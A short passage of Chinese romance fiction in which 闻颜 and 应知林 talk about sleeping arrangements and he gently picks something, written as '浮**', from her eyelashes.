闻颜抬头对他笑笑:“你回来了!晚饭吃过了吗?你今晚睡床吧。 不过休息之前记得把屏风搬过来挡在中间,有光线影响你的睡眠质量。” “别动。”应知林却答非所问,弯腰,轻托住她的下巴:“浮**沾在你的眼睫上了。” 两人四目相对,又快速移开。 他替她拎下浮**:“你看。”